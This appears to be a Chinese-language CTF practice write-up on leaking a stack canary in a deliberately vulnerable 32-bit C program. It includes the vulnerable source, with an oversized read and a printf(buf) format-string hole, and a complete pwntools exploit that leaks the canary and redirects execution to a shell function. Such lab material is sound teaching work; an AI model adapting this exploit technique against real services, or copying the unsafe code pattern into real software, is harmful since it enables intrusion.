Share this post on:

ex2(canary泄露)

源码

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}
$ gcc -m32 -no-pie ex2.c -o ex2

题目情况

checksec:

image-20220520161505395

ida中发现漏洞函数:image-20220520161629421

image-20220520163314162

所以,,,题目很简单,就想考一个canary的泄露

大致思路

  • 先确定canary的位置,泄露canary

    看看汇编确定canary:image-20220520162550600

    canary的值从gs段0x14的位置取出放到了偏移为ebp+var_c的地方

    然后看看var_c的值:image-20220520163212343

    再看看read开始的地方image-20220520163903035

    所以可以得出canary在距离buf 0x70-0xc 的地方,根据canary的原理,其最低位一般都是‘\x00’用来进行隔断,所以我们只需要将最低位覆盖掉就可以将canary打印出来

    payload = b'A'*0x64
    payload += b'B'
    #这里前0x64个字节用于padding,加的B是用于覆盖canary的最低位
  • 接收canary

    观察将payload发送之后得到的结果image-20220520164807923

    ‘B’将canary的最低为覆盖掉了,而这是一个32位程序所以canary只有4字节,那么‘B’前面的3字节就是canary的值image-20220520164929786

    接收的小细节:

    p.recvuntil('A'*0x64)  #先将padding接收完
    canary = u32(p.recv(4))-0x42 #再接收四字节的canary,因为最低为被覆盖成'B'所以要减回来
    log.info("canary is :->%s" % hex(canary))
  • 分析漏洞函数,确定payload的构造

    image-20220520161629421

    栈溢出,这里用了两次read,我们第一次可以用read泄露canary的地址,然后第二次用read覆盖到跳转点跳转到getshell函数即可

完整exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
#context.log_level = 'debug'
# p = remote()
p = process('./ex2')
# gdb.attach(p)
elf = ELF('./ex2')

getshell_addr = elf.sym["getshell"]

payload = b'A'*0x64
payload += b'B'

p.send(payload)

p.recvuntil('A'*0x64)
canary = u32(p.recv(4))-0x42
log.info("canary is :->%s" % hex(canary))

payload = b'A'*0x64
payload += p32(canary)
payload = payload.ljust(0x74, b'\x00')
payload += p32(getshell_addr)

p.send(payload)

p.interactive()
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注